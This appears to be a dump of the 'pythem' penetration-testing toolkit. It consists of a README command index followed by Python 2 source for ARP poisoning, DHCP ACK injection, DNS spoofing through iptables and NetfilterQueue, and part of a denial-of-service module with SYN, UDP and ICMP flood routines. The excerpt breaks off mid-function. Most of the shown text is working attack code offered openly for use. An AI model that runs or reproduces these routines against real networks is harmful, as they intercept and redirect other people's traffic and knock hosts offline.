97 | - [Filter strings on pcap files](https://github.com/m4n3dw0lf/pythem/wiki/Examples#filter-strings-on-pcap-files)
98 | - [Exploit Development 1: Overwriting Instruction Pointer](https://github.com/m4n3dw0lf/pythem/wiki/Exploit-development#exploit-development-1-overwriting-instruction-pointer)
99 | - [Exploit Development 2: Ret2libc](https://github.com/m4n3dw0lf/pythem/wiki/Exploit-development#exploit-development-2-ret2libc)
100 |
101 | ### Developing
102 |
103 | - [Running tests](https://github.com/m4n3dw0lf/pythem/wiki/Developing#running-tests).
104 |
105 | ### Commands Reference
106 |
107 | #### Index
108 |
109 | ##### Core
110 | - [help](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#help)
111 | - [exit/quit](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#exitquit)
112 | - [set](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#set)
113 | - [print](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#print)
114 |
115 | ##### Network, Man-in-the-middle and Denial of service (DOS)
116 | - [scan](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#scan)
117 | - [webcrawl](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#webcrawl)
118 | - [arpspoof](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#arpspoof)
119 | - [dhcpspoof](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#dhcpspoof)
120 | - [dnsspoof](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#dnsspoof)
121 | - [redirect](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#redirect)
122 | - [sniff](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#sniff)
123 | - [dos](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#dos)
124 | - [pforensic](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#pforensic)
125 |
**pforensic: Commands Reference**
126 | - [help](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#help-1)
127 | - [clear](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#clear)
128 | - [exit/quit](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#exitquit-1)
129 | - [show](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#show)
130 | - [conversations](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#conversations)
131 | - [packetdisplay](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#packetdisplay-num)
132 | - [filter](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#filter-stringlayer)
133 |
134 | ##### Exploit development and Reverse Engineering
135 | - [xploit](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#xploit)
136 |
**xploit: Commands Reference**
137 | - [help](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#help-2)
138 | - [clear](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#clear-1)
139 | - [exit/quit](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#exitquit-2)
140 | - [set](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#set-1)
141 | - [shellcode](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#shellcode)
142 | - [encoder](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#encoder)
143 | - [decoder](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#decoder)
144 | - [search](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#search)
145 | - [xploit](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#xploit-1)
146 | - [cheatsheet](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#cheatsheet)
147 | - [fuzz](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#fuzz)
148 | - [decode/encode](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#decodeencode)
149 |
150 | ##### Brute Force
151 | - [brute](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#brute)
152 |
153 | ##### Utils
154 | - [decode/encode](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#decodeencode-1)
155 | - [cookiedecode](https://github.com/m4n3dw0lf/pythem/wiki/Commands-Reference#cookiedecode)
156 |
--------------------------------------------------------------------------------
/img/desktopicon-wiki.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/m4n3dw0lf/pythem/e4fcb8af73f5cf86d1242d8bd45ee14f22ccd872/img/desktopicon-wiki.png
--------------------------------------------------------------------------------
/img/pythem.gif:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/m4n3dw0lf/pythem/e4fcb8af73f5cf86d1242d8bd45ee14f22ccd872/img/pythem.gif
--------------------------------------------------------------------------------
/img/pythembg.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/m4n3dw0lf/pythem/e4fcb8af73f5cf86d1242d8bd45ee14f22ccd872/img/pythembg.png
--------------------------------------------------------------------------------
/img/pythemico.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/m4n3dw0lf/pythem/e4fcb8af73f5cf86d1242d8bd45ee14f22ccd872/img/pythemico.png
--------------------------------------------------------------------------------
/img/run_sample-wiki.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/m4n3dw0lf/pythem/e4fcb8af73f5cf86d1242d8bd45ee14f22ccd872/img/run_sample-wiki.png
--------------------------------------------------------------------------------
/pythem/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/m4n3dw0lf/pythem/e4fcb8af73f5cf86d1242d8bd45ee14f22ccd872/pythem/__init__.py
--------------------------------------------------------------------------------
/pythem/core/__init__.py:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/m4n3dw0lf/pythem/e4fcb8af73f5cf86d1242d8bd45ee14f22ccd872/pythem/core/__init__.py
--------------------------------------------------------------------------------
/pythem/modules/__init__.py:
--------------------------------------------------------------------------------
1 |
2 |
--------------------------------------------------------------------------------
/pythem/modules/arpoisoner.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 | from scapy.all import *
23 | from netaddr import IPNetwork, IPRange, IPAddress, AddrFormatError
24 | import threading
25 | from time import sleep
26 | from utils import *
27 |
28 |
29 | class ARPspoof(object):
30 | name = "ARP poisoner spoofer"
31 | desc = "Use arp spoofing in order to realize a man-in-the-middle attack"
32 | version = "0.5"
33 |
34 | def __init__(self, gateway, targets, interface, myip, mymac):
35 |
36 | try:
37 | self.gateway = str(IPAddress(gateway))
38 | except AddrFormatError as e:
39 | print "[-] Select a valid IP address as gateway"
40 | iptables()
41 | set_ip_forwarding(1)
42 | self.gateway_mac = None
43 | self.range = False
44 | self.targets = self.get_range(targets)
45 | self.send = True
46 | self.interval = 3
47 | self.interface = interface
48 | self.myip = myip
49 | self.mymac = mymac
50 | self.socket = conf.L3socket(iface=self.interface)
51 | self.socket2 = conf.L2socket(iface=self.interface)
52 |
53 | def start(self):
54 | t = threading.Thread(name='ARPspoof', target=self.spoof)
55 | t.setDaemon(True)
56 | t.start()
57 |
58 | def get_range(self, targets):
59 | if targets is None:
60 | print "[!] IP address/range was not specified, will intercept only gateway requests and not replies."
61 | return None
62 | try:
63 | target_list = []
64 | for target in targets.split(','):
65 | if '/' in target:
66 | self.range = True
67 | target_list.extend(list(IPNetwork(target)))
68 | elif '-' in target:
69 | start_addr = IPAddress(target.split('-')[0])
70 | try:
71 | end_addr = IPAddress(target.split('-')[1])
72 | ip_range = IPRange(start_addr, end_addr)
73 | except AddrFormatError:
74 | end_addr = list(start_addr.words)
75 | end_addr[-1] = target.split('-')[1]
76 | end_addr = IPAddress('.'.join(map(str, end_addr)))
77 | ip_range = IPRange(start_addr, end_addr)
78 | target_list.extend(list(ip_range))
79 | else:
80 | target_list.append(IPAddress(target))
81 | return target_list
82 |
83 | except AddrFormatError:
84 | sys.exit("[!] Select a valid IP address/range as target")
85 |
86 | def resolve_mac(self, targetip):
87 | try:
88 | conf.verb = 0
89 | ans, unans = srp(Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(op="who-has", pdst=targetip), timeout=2)
90 | for snd, rcv in ans:
91 | return str(rcv[Ether].src)
92 | except socket.gaierror:
93 | print "[!] Select a valid IP Address as target/gateway, exiting ..."
94 | exit(0)
95 |
96 | def spoof(self):
97 | sleep(2)
98 | while self.send:
99 | if self.targets is None:
100 | self.socket2.send(
101 | Ether(src=self.mymac, dst="ff:ff:ff:ff:ff:ff") / ARP(hwsrc=self.mymac, psrc=self.gateway,
102 | op="is-at"))
103 | elif self.targets:
104 | try:
105 | self.gateway_mac = self.resolve_mac(self.gateway)
106 | while not self.gateway_mac:
107 | print "[-] Error: Couldn't retrieve MAC address from gateway, retrying..."
108 | self.gateway_mac = self.resolve_mac(self.gateway)
109 | except KeyboardInterrupt:
110 | print "[!] Aborted."
111 | set_ip_forwarding(0)
112 | self.socket.close()
113 | self.socket2.close()
114 | return
115 | for target in self.targets:
116 | targetip = str(target)
117 | if (targetip != self.myip):
118 | targetmac = self.resolve_mac(targetip)
119 | if targetmac is not None:
120 | try:
121 | self.socket.send(ARP(pdst=targetip, psrc=self.gateway, hwdst=targetmac, op="is-at"))
122 | self.socket.send(
123 | ARP(pdst=self.gateway, psrc=targetip, hwdst=self.gateway_mac, op="is-at"))
124 | except Exception as e:
125 | if "Interrupted system call" not in e:
126 | pass
127 | sleep(self.interval)
128 |
129 | def stop(self):
130 | try:
131 | self.gateway_mac = self.resolve_mac(self.gateway)
132 | while not self.gateway_mac:
133 | print "[-] Error: Couldn't retrieve MAC address from gateway, retrying..."
134 | self.gateway_mac = self.resolve_mac(self.gateway)
135 | except KeyboardInterrupt:
136 | print "[!] Aborted."
137 | set_ip_forwarding(0)
138 | self.socket.close()
139 | self.socket2.close()
140 | return
141 | self.send = False
142 | sleep(1)
143 | count = 4
144 | if self.targets is None or self.range:
145 | print "[*] Restoring sub-net connection with {} packets".format(count)
146 | pkt = Ether(src=self.gateway_mac, dst="ff:ff:ff:ff:ff:ff") / ARP(hwsrc=self.gateway_mac, psrc=self.gateway,
147 | op="is-at")
148 | for i in range(0, count):
149 | self.socket2.send(pkt)
150 | set_ip_forwarding(0)
151 | self.socket.close()
152 | self.socket2.close()
153 | return
154 | elif self.targets:
155 | for target in self.targets:
156 | target_ip = str(target)
157 | target_mac = self.resolve_mac(target_ip)
158 | if target_mac is not None:
159 | print "[+] Restoring connection {} <--> {} with {} packets for host".format(target_ip, self.gateway,
160 | count)
161 | try:
162 | for i in range(0, count):
163 | self.socket2.send(
164 | Ether(src=target_mac, dst='ff:ff:ff:ff:ff:ff') / ARP(op="is-at", pdst=self.gateway,
165 | psrc=targetip,
166 | hwdst="ff:ff:ff:ff:ff:ff",
167 | hwsrc=target_mac))
168 | self.socket2.send(
169 | Ether(src=self.gateway_mac, dst='ff:ff:ff:ff:ff:ff') / ARP(op="is-at", pdst=targetip,
170 | psrc=self.gateway,
171 | hwdst="ff:ff:ff:ff:ff:ff",
172 | hwsrc=self.gateway_mac))
173 | except Exception as e:
174 | if "Interrupted system call" not in e:
175 | pass
176 | set_ip_forwarding(0)
177 | self.socket.close()
178 | self.socket2.close()
179 | return
180 |
--------------------------------------------------------------------------------
/pythem/modules/completer.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 | import sys
23 | from subprocess import *
24 | import time
25 | import readline
26 |
27 |
28 | class Completer(object):
29 | name = "TAB completer"
30 | desc = "Auto complete pythem commands with tab"
31 | version = "0.5"
32 |
33 | def __init__(self, path, console):
34 | tab = readline.parse_and_bind("tab: complete")
35 | if console == "pythem":
36 | historyPath = ".pythem_history".format(path)
37 | readline.read_history_file(historyPath)
38 | completer = readline.set_completer(self.pythem)
39 | # readline.write_history_file(historyPath)
40 |
41 | if console == "xploit":
42 | completer = readline.set_completer(self.xploit)
43 |
44 | def suboption(self, text, state):
45 | # print text
46 | # print state
47 | results = [x for x in self.suboptions if x.startswith(text)] + [None]
48 | return results[state]
49 |
50 | def xploit(self, text, state):
51 | self.words = ['clear', 'help', 'quit', 'disassemble', 'print', 'display', 'undisplay', 'enable', 'disable',
52 | 'run', 'continue', 'finish', 'step', 'next', 'backtrace', 'where', 'break', 'return', 'jump',
53 | 'set', 'info',
54 | 'handle', 'watch', 'whatis', 'frame', 'fuzz', 'cheatsheet', 'xploit', 'search', 'shellcode',
55 | 'encoder', 'decoder', 'decode', 'encode']
56 | results = [x for x in self.words if x.startswith(text)] + [None]
57 | return results[state]
58 |
59 | def pythem(self, text, state):
60 | # print text
61 | # print state
62 | if "set" in text and state == 1:
63 | self.suboptions = ['interface', 'target', 'gateway', 'file', 'domain', 'port', 'script', 'help']
64 | completer = readline.set_completer(self.suboption)
65 |
66 | elif "print" in text and state == 1:
67 | self.suboptions = ['interface', 'target', 'gateway', 'file', 'domain', 'port', 'script', 'help']
68 | completer = readline.set_completer(self.suboption)
69 |
70 | elif "scan" in text and state == 1:
71 | self.suboptions = ['tcp', 'arp', 'manual', 'help']
72 | completer = readline.set_completer(self.suboption)
73 |
74 | elif "arpspoof" in text and state == 1:
75 | self.suboptions = ['start', 'stop', 'status', 'help']
76 | completer = readline.set_completer(self.suboption)
77 |
78 | elif "dnsspoof" in text and state == 1:
79 | self.suboptions = ['start', 'stop', 'status', 'help']
80 | completer = readline.set_completer(self.suboption)
81 |
82 | elif "dhcpspoof" in text and state == 1:
83 | self.suboptions = ['start', 'stop', 'status', 'help']
84 | completer = readline.set_completer(self.suboption)
85 |
86 | elif "redirect" in text and state == 1:
87 | self.suboptions = ['start', 'stop', 'status', 'help']
88 | completer = readline.set_completer(self.suboption)
89 |
90 | elif "xploit" in text and state == 1:
91 | self.suboptions = ['stdin', 'tcp', 'help']
92 | completer = readline.set_completer(self.suboption)
93 |
94 | elif "brute" in text and state == 1:
95 | self.suboptions = ['ssh', 'url', 'form', 'help', 'hash']
96 | completer = readline.set_completer(self.suboption)
97 |
98 | elif "dos" in text and state == 1:
99 | self.suboptions = ['dnsdrop', 'dnsamplification', 'synflood', 'udpflood', 'icmpsmurf', 'icmpflood',
100 | 'dhcpstarvation', 'teardrop', 'pingofdeath', 'land', 'httpflood', 'help']
101 | completer = readline.set_completer(self.suboption)
102 |
103 | elif "sniff" in text and state == 1:
104 | self.suboptions = ['help']
105 | completer = readline.set_completer(self.suboption)
106 |
107 | elif "pforensic" in text and state == 1:
108 | self.suboptions = ['help']
109 | completer = readline.set_completer(self.suboption)
110 |
111 | elif "webcrawl" in text and state == 1:
112 | self.suboptions = ['help', 'start']
113 | completer = readline.set_completer(self.suboption)
114 |
115 | else:
116 | self.words = ['clear', 'help', 'exit', 'quit', 'set', 'print', 'scan', 'arpspoof', 'dnsspoof', 'redirect',
117 | 'sniff', 'pforensic', 'dos', 'xploit', 'brute', 'decode', 'encode', 'cookiedecode',
118 | 'dhcpspoof', 'webcrawl']
119 | results = [x for x in self.words if x.startswith(text)] + [None]
120 | return results[state]
121 |
--------------------------------------------------------------------------------
/pythem/modules/dhcpoisoner.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 | import sys
23 | import threading
24 | from scapy.all import *
25 |
26 |
27 | class DHCPspoof(object):
28 | name = "DHCP Spoofing"
29 | desc = "DHCP ACK injection with DHCP Request monitor callback"
30 | version = "0.1"
31 |
32 | def __init__(self, mode):
33 | if mode == "test":
34 | return
35 | try:
36 | self.dhcp_server_ip = raw_input("[+] DHCP Server IP address: ")
37 | self.lease = 43200 # input("[+] Lease time: ")
38 | self.renewal = 21600 # input("[+] Renewal time: ")
39 | self.rebinding = 37800 # input("[+] Rebinding time: ")
40 | self.broadcast = raw_input("[+] Broadcast address: ")
41 | self.subnet = raw_input("[+] Subnet mask: ")
42 | self.router_ip = raw_input("[+] Router IP address: ")
43 | self.domain = raw_input("[+] Domain: ")
44 | self.dns_server = raw_input("[+] DNS Server IP address: ")
45 | except Exception as e:
46 | print "[!] Exception caught: {}".format(e)
47 | except KeyboardInterrupt:
48 | exit(0)
49 |
50 | if mode == "silent":
51 | t = threading.Thread(name="DHCPspoof", target=self.spoof)
52 | t.setDaemon(True)
53 | t.start()
54 | else:
55 | self.spoof()
56 |
57 | def spoof(self):
58 | sniff(filter="udp and port 67 or port 68", prn=self.callback, store=0)
59 |
60 | def callback(self, p):
61 | if p.haslayer(DHCP):
62 | mtype = p[DHCP].options
63 | if mtype[0][1] == 3:
64 | self.victim_mac = p[Ether].src
65 | try:
66 | for x, y in mtype:
67 | if x == "requested_addr":
68 | self.victim_ip = (x, y)
69 | # DEBUG print "{}".format(self.victim_ip)
70 | if x == "hostname":
71 | self.hostname = (x, y)
72 | # DEBUG print "{}".format(self.hostname)
73 | except Exception as e:
74 | # print "[!] Exception at try at line 99: {}".format(e)
75 | pass
76 |
77 | try:
78 | # Ether(src=self.dhcp_server_mac,dst=p[Ether].src)
79 | self.dhcp_ack = Ether() / IP(id=0, tos=16, ttl=16, src=self.dhcp_server_ip, dst=self.victim_ip[1],
80 | chksum=0) / \
81 | UDP(sport=67, dport=68, chksum=0) / \
82 | BOOTP(op=2, yiaddr=self.victim_ip[1], ciaddr='0.0.0.0', siaddr=self.dhcp_server_ip,
83 | giaddr='0.0.0.0', chaddr='$\nd]\xe8h\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',
84 | sname='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',
85 | file='\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00',
86 | xid=p[BOOTP].xid) / \
87 | DHCP(options=[('message-type', 5),
88 | ('server_id', self.dhcp_server_ip),
89 | ('lease_time', self.lease),
90 | ('renewal_time', self.renewal),
91 | ('rebinding_time', self.rebinding),
92 | ('subnet_mask', self.subnet),
93 | ('broadcast_address', self.broadcast),
94 | ('time_zone', '\x00\x00\x00\x00'),
95 | ('router', self.router_ip),
96 | ('domain', self.domain),
97 | ('name_server', self.dns_server),
98 | ('hostname', self.hostname[1]),
99 | ('end')])
100 | del self.dhcp_ack[IP].chksum
101 | del self.dhcp_ack[UDP].chksum
102 | del self.dhcp_ack[IP].len
103 | del self.dhcp_ack[UDP].len
104 | dhcp_ack = self.dhcp_ack.__class__(str(self.dhcp_ack))
105 | # DEBUG dhcp_ack.show()
106 | sendp(dhcp_ack, verbose=0)
107 | except Exception as e:
108 | print "[!] Exception at try at line 110: {}".format(e)
109 | pass
110 |
111 |
112 | if __name__ == "__main__":
113 | try:
114 | if sys.argv[2] == "-h" or sys.argv[2] == "--help":
115 | print "[pythem DHCP spoofer]"
116 | print
117 | print "usage:"
118 | print " python dhcpoisoner.py"
119 | exit()
120 | else:
121 | print "Select a valid option, for help run: python dhcpoisoner.py -h"
122 | except IndexError:
123 | DHCPspoof("verbose")
124 |
125 | except Exception as e:
126 | print "[!] Exception caught: {}".format(e)
127 |
--------------------------------------------------------------------------------
/pythem/modules/dnspoisoner.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python2.7
2 | # coding=UTF-8
3 |
4 | # Copyright (c) 2016-2018 Angelo Moura
5 | #
6 | # This file is part of the program pythem
7 | #
8 | # pythem is free software; you can redistribute it and/or
9 | # modify it under the terms of the GNU General Public License as
10 | # published by the Free Software Foundation; either version 3 of the
11 | # License, or (at your option) any later version.
12 | #
13 | # This program is distributed in the hope that it will be useful, but
14 | # WITHOUT ANY WARRANTY; without even the implied warranty of
15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
16 | # General Public License for more details.
17 | # You should have received a copy of the GNU General Public License
18 | # along with this program; if not, write to the Free Software
19 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
20 | # USA
21 |
22 | from netfilterqueue import NetfilterQueue
23 | from scapy.all import *
24 | import os
25 | import sys
26 | import threading
27 |
28 |
29 | class DNSspoof(object):
30 | name = "DNS spoofing"
31 | desc = "Filter DNS packets while in man-in-the-middle and modify packet."
32 | version = "0.4"
33 |
34 | def __init__(self, fake):
35 | self.fake = fake
36 |
37 | def callback(self, packet):
38 | payload = packet.get_payload()
39 | pkt = IP(payload)
40 |
41 | if not pkt.haslayer(DNSQR):
42 | packet.accept()
43 | else:
44 | if self.inject != None:
45 | new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \
46 | UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) / \
47 | DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, \
48 | an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake))
49 | packet.set_payload(str(new_pkt))
50 | packet.accept()
51 |
52 | elif self.domain == "all":
53 | new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \
54 | UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) / \
55 | DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, \
56 | an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake))
57 | packet.set_payload(str(new_pkt))
58 | packet.accept()
59 |
60 | elif self.domain in pkt[DNS].qd.qname:
61 | new_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) / \
62 | UDP(dport=pkt[UDP].sport, sport=pkt[UDP].dport) / \
63 | DNS(id=pkt[DNS].id, qr=1, aa=1, qd=pkt[DNS].qd, \
64 | an=DNSRR(rrname=pkt[DNS].qd.qname, ttl=10, rdata=self.fake))
65 | packet.set_payload(str(new_pkt))
66 | packet.accept()
67 |
68 | else:
69 | packet.accept()
70 | self.currentdomain = str(pkt[DNS].qd.qname)
71 |
72 | def spoof(self):
73 | try:
74 | self.q = NetfilterQueue()
75 | self.q.bind(1, self.callback)
76 | self.q.run()
77 | except Exception as e:
78 | print "[*] Exception caught: {}".format(e)
79 |
80 | def stop(self):
81 | self.q.unbind()
82 | os.system('iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
83 |
84 | def getdomain(self):
85 | return self.currentdomain
86 |
87 | def start(self, domain, inject):
88 | os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
89 | self.domain = domain
90 | self.inject = inject
91 | t = threading.Thread(name='DNSspoof', target=self.spoof)
92 | t.setDaemon(True)
93 | t.start()
94 |
--------------------------------------------------------------------------------
/pythem/modules/dos.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/python
2 |
3 | # Copyright (c) 2016-2018 Angelo Moura
4 | #
5 | # This file is part of the program pythem
6 | #
7 | # pythem is free software; you can redistribute it and/or
8 | # modify it under the terms of the GNU General Public License as
9 | # published by the Free Software Foundation; either version 3 of the
10 | # License, or (at your option) any later version.
11 | #
12 | # This program is distributed in the hope that it will be useful, but
13 | # WITHOUT ANY WARRANTY; without even the implied warranty of
14 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
15 | # General Public License for more details.
16 | # You should have received a copy of the GNU General Public License
17 | # along with this program; if not, write to the Free Software
18 | # Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
19 | # USA
20 |
21 | from netfilterqueue import NetfilterQueue
22 | from scapy.all import *
23 | import os
24 | import socket
25 | import sys
26 | import threading
27 | import requests
28 |
29 |
30 | class DOSer(object):
31 | name = "Denial of Service Module."
32 | desc = "Denial of service attacks here."
33 | version = "1.2"
34 | ps = "Need to add POST DoS attack."
35 |
36 | def __init__(self):
37 | self.blocks = []
38 | self.synstop = False
39 | self.udpstop = False
40 |
41 | def dnsdropstart(self, host):
42 | os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
43 | self.host = host
44 | try:
45 | print "[+] Man-in-the-middle DNS drop initialized."
46 | self.t = threading.Thread(name='mitmdrop', target=self.filter)
47 | self.t.setDaemon(True)
48 | self.t.start()
49 | except Exception as e:
50 | print "[!] Exception caught: {}".format(e)
51 |
52 | def dnsdropstop(self):
53 | os.system('iptables -t nat -D PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num 1')
54 | self.t.terminate()
55 | print "[-] Man-in-the-middle DNS drop finalized."
56 |
57 | def callback(self, packet):
58 | packet.drop()
59 |
60 | def filter(self):
61 | try:
62 | self.q = NetfilterQueue()
63 | self.q.bind(1, self.callback)
64 | self.q.run()
65 | except Exception as e:
66 | print "[!] Exception caught: {}".format(e)
67 |
68 | def udpfloodstart(self, host, tgt, dport):
69 | self.src = host
70 | self.tgt = tgt
71 | self.dport = dport
72 |
73 | try:
74 | print "[+] UDP flood denial of service initialized on port: {}.".format(dport)
75 | for i in range(0, 3):
76 | u = threading.Thread(name='udpflood', target=self.udpflood)
77 | u.setDaemon(True)
78 | u.start()
79 | self.udpflood()
80 | except Exception as e:
81 | print "[!] Exception caught: {}".format(e)
82 |
83 | def udpflood(self):
84 | try:
85 | IP_layer = IP(src=self.src, dst=self.tgt)
86 | UDP_layer = UDP(sport=1337, dport=self.dport)
87 | pkt = IP_layer / UDP_layer
88 | send(pkt, loop=1, inter=0.0, verbose=False)
89 | print "[-] UDP flood denial of service finalized."
90 | exit(0)
91 | except Exception as e:
92 | print "[!] Error: {}".format(e)
93 |
94 | def synfloodstart(self, host, tgt, dport):
95 | self.src = host
96 | self.tgt = tgt
97 | self.dport = dport
98 |
99 | try:
100 | print "[+] SYN flood denial of service initialized."
101 | for i in range(0, 3):
102 | s = threading.Thread(name='synflood', target=self.synflood)
103 | s.setDaemon(True)
104 | s.start()
105 | self.synflood()
106 | except Exception as e:
107 | print "[!] Exception caught: {}".format(e)
108 |
109 | def synflood(self):
110 | try:
111 | IP_layer = IP(src=self.src, dst=self.tgt)
112 | TCP_layer = TCP(sport=1337, dport=self.dport)
113 | pkt = IP_layer / TCP_layer
114 | send(pkt, loop=1, inter=0.0, verbose=False)
115 | print "[-] SYN flood denial of service finalized."
116 | exit(0)
117 | except Exception as e:
118 | print "[!] Error: {}".format(e)
119 |
120 | def icmpfloodstart(self, host, tgt):
121 | self.src = host
122 | self.tgt = tgt
123 |
124 | try:
125 | print "[+] ICMP flood denial of service initialized."
126 | for x in range(0, 3):
127 | i = threading.Thread(name='icmpflood', target=self.icmpflood)
128 | i.setDaemon(True)
129 | i.start()
130 | self.icmpflood()
131 | except Exception as e:
132 | print "[!] Exception caught: {}".format(e)
133 |
134 | def icmpflood(self):
135 | try:
136 | IP_layer = IP(src=self.src, dst=self.tgt)
137 | ICMP_layer = ICMP()
138 | pkt = IP_layer / ICMP_layer
139 | send(pkt, loop=1, inter=0.0, verbose=False)
140 | print "[-] ICMP flood denial of service finalized."
141 | exit(0)
142 | except Exception as e:
